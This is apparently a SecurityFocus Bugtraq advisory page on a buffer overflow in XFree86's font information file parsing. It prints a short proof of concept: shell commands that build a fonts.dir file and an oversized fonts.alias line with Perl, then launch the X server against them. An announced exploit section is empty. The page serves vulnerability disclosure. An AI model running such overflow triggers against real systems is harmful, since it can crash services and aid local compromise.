Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

XFree86 Font Information File Buffer Overflow Vulnerability

Currently we are not aware of any working exploits for this issue. The following proof-of-concept example has been provided:

From the command line:

# cat > fonts.dir <<EOF
1
word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
EOF
# perl -e 'print "0" x 1024 . "A" x 96 . "\n"' > fonts.alias
# X :0 -fp $PWD

The Following exploit has also been provided:







 

Privacy Statement
Copyright 2008, SecurityFocus